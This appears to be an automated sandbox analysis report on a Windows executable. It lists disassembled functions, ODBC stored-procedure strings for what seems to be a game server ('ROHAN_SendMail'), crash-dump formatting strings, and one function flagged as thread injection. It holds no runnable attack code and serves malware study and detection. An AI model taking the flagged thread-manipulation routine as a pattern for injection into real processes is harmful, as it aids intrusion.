                                                                                                                            • %s location %08x caused an access violation., xrefs: 0045DD23
                                                                                                                            • %02x , xrefs: 0045DE96
                                                                                                                            • %s in module %s at %04x:%08x., xrefs: 0045DCC4
                                                                                                                            • %#x(%d) %04d/%02d/%02d %02d:%02d:%02d> exception %d, xrefs: 0045DB99
                                                                                                                            • EDX=%08x ES=%04x EDI=%08x GS=%04x, xrefs: 0045DE27
                                                                                                                            • Bytes at CS:EIP:, xrefs: 0045DE3B
                                                                                                                            • start at %02d/%02d/%02d %02d:%02d:%02d, xrefs: 0045DC6F
                                                                                                                            • Stack dump:, xrefs: 0045DED9
                                                                                                                            • Registers:, xrefs: 0045DD67
                                                                                                                            • Memory: total=%d, phys=%d, virtual=%d, xrefs: 0045DFF8
                                                                                                                            • ECX=%08x DS=%04x ESI=%08x FS=%04x, xrefs: 0045DDF7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$CreateCurrentThread$LocalModuleNamePointerQueryTimeVirtual
                                                                                                                            • String ID: Stack dump:$Bytes at CS:EIP:$%#x(%d) %04d/%02d/%02d %02d:%02d:%02d> exception %d$%02x $%s in module %s at %04x:%08x.$%s location %08x caused an access violation.$EAX=%08x CS=%04x EIP=%08x EFLGS=%08x$EBX=%08x SS=%04x ESP=%08x EBP=%08x$ECX=%08x DS=%04x ESI=%08x FS=%04x$EDX=%08x ES=%04x EDI=%08x GS=%04x$Memory: total=%d, phys=%d, virtual=%d$Registers:$start at %02d/%02d/%02d %02d:%02d:%02d
                                                                                                                            • API String ID: 4128220826-3286206852
                                                                                                                            • Opcode ID: 5e10af54f877a3089040104d5fe9de796bb6702254fb636212af0b80d28387f3
                                                                                                                            • Instruction ID: df42ad08166c1038e95bacd2af79fb655473cd6c4d2ce7eed991277bc28a21b8
                                                                                                                            • Opcode Fuzzy Hash: 5e10af54f877a3089040104d5fe9de796bb6702254fb636212af0b80d28387f3
                                                                                                                            • Instruction Fuzzy Hash: 21E1A1B1D00214ABCB64DB55DC85FDEB3B8AB49705F0085DDF609A7292D738AE84CF98
                                                                                                                            Function 0042CA94 Relevance: 37.1, APIs: 20, Strings: 1, Instructions: 356COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_JoinRank](?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)},000000FD), ref: 0042CAB4
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042CAF3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042CB2B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CB63
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CB9B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CBD3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CC0B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CC43
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CC7B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CCB3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042CCEB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042CD23
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CD5B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CD93
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CDCB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CE03
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CE3B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CE73
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042CEAB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042CEE3
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_JoinRank](?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)}, xrefs: 0042CAAB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_JoinRank](?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-2937254977
                                                                                                                            • Opcode ID: 0cc9737caff737c0f224ecae33e8134abb46b40539ac14d656aa28de37c5d73d
                                                                                                                            • Instruction ID: 82d5f988c0dffaa49dc845c783df24b28e2ad7cf0c4a8bb33f88942f73bc95b2
                                                                                                                            • Opcode Fuzzy Hash: 0cc9737caff737c0f224ecae33e8134abb46b40539ac14d656aa28de37c5d73d
                                                                                                                            • Instruction Fuzzy Hash: 7CD1E4F06822157BFBA49B54CC52F996335EB84B18F208288F71D7F2C5D5B1B9808B6C
                                                                                                                            Function 0043EB12 Relevance: 37.1, APIs: 20, Strings: 1, Instructions: 355COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_SendMail](?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)},000000FD), ref: 0043EB35
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043EB74
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043EBAC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EBE4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000032,00000000,?,00000033,00000000,?,00000000,00000001,00000001,0000000C,00000014), ref: 0043EC1C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000200,00000000,?,00000201,00000000,?,00000000,00000001,00000001,0000000C,00000032), ref: 0043EC5A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000200), ref: 0043EC94
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 0043ECCF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043ED0A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043ED44
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043ED7F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EDBA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EDF4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EE2F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EE6A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EEA4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EEDF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EF1A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EF4F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043EF8A
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_SendMail](?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)}, xrefs: 0043EB2C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_SendMail](?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-4284022410
                                                                                                                            • Opcode ID: 90d4f783b688decb74e9aa0de848d14c2c31665137923b9f0efd2789b84d4203
                                                                                                                            • Instruction ID: 68838bb82e71aa133f2b96d03d901a16bc0b95bf1a41b074374fa640602bd21d
                                                                                                                            • Opcode Fuzzy Hash: 90d4f783b688decb74e9aa0de848d14c2c31665137923b9f0efd2789b84d4203
                                                                                                                            • Instruction Fuzzy Hash: EBD1F0B46842197BFB289B64CC52FE96335EB89B18F50C188F7287E3C5D5B26D408F58
                                                                                                                            Function 0045F2B0 Relevance: 35.3, APIs: 8, Strings: 12, Instructions: 279threadinjectionCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • SuspendThread.KERNEL32(0045F260), ref: 0045F2CB
                                                                                                                            • GetThreadContext.KERNEL32(0045F260,00010007), ref: 0045F2F5
                                                                                                                              • Part of subcall function 0045E040: wvsprintfA.USER32(?,?,?), ref: 0045E068
                                                                                                                              • Part of subcall function 0045E040: lstrlenA.KERNEL32(?,?,00000000), ref: 0045E082
                                                                                                                              • Part of subcall function 0045E040: WriteFile.KERNEL32(?,?,00000000), ref: 0045E094
                                                                                                                              • Part of subcall function 0045E5E0: wsprintfA.USER32 ref: 0045E695
                                                                                                                              • Part of subcall function 0045E5E0: wsprintfA.USER32 ref: 0045E6B6
                                                                                                                            • GetCurrentProcess.KERNEL32(0045F260,?,00010007,00000000,000E00B0,000E00CA,00000000), ref: 0045F499
                                                                                                                            • ResumeThread.KERNEL32(0045F260), ref: 0045F6AE
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Thread$wsprintf$ContextCurrentFileProcessResumeSuspendWritelstrlenwvsprintf
                                                                                                                            • String ID: %08x %08x $Call Stack:$Registers:$Stack dump:$%s %d %s$%s %s$%s +%x$EAX=%08x CS=%04x EIP=%08x EFLGS=%08x$EBX=%08x SS=%04x ESP=%08x EBP=%08x$ECX=%08x DS=%04x ESI=%08x FS=%04x$EDX=%08x ES=%04x EDI=%08x GS=%04x$Params: %08x %08x %08x %08x
                                                                                                                            • API String ID: 2091159764-468319004
                                                                                                                            • Opcode ID: 9528dd19231f9523530c8f6e359f33e5cb3dc8bff483969fb56fd1686be77964
                                                                                                                            • Instruction ID: 5cefceb673f22b6fdef9744cb7059bec8de4706fd6f0c29012cbaecf74cac1f2
                                                                                                                            • Opcode Fuzzy Hash: 9528dd19231f9523530c8f6e359f33e5cb3dc8bff483969fb56fd1686be77964
                                                                                                                            • Instruction Fuzzy Hash: D0B16FB5A00218ABDB54DF54CC45FAE73B8EB48704F0085DDB50DA7292DB78AE84CF99
                                                                                                                            Function 0045A9C0 Relevance: 33.6, APIs: 8, Strings: 11, Instructions: 372COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetSystemInfo.KERNEL32(?,DBConfig.txt), ref: 0045AA19
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: InfoSystem
                                                                                                                            • String ID: %s on port %d (time stamp: %02d/%02d/%02d %02d:%02d:%02d)$DBConfig.txt$Event$MailFrom$MailServer$MailTo$NumberOfThreads1$ODBC$SubNet$System$Title
                                                                                                                            • API String ID: 31276548-1337846954
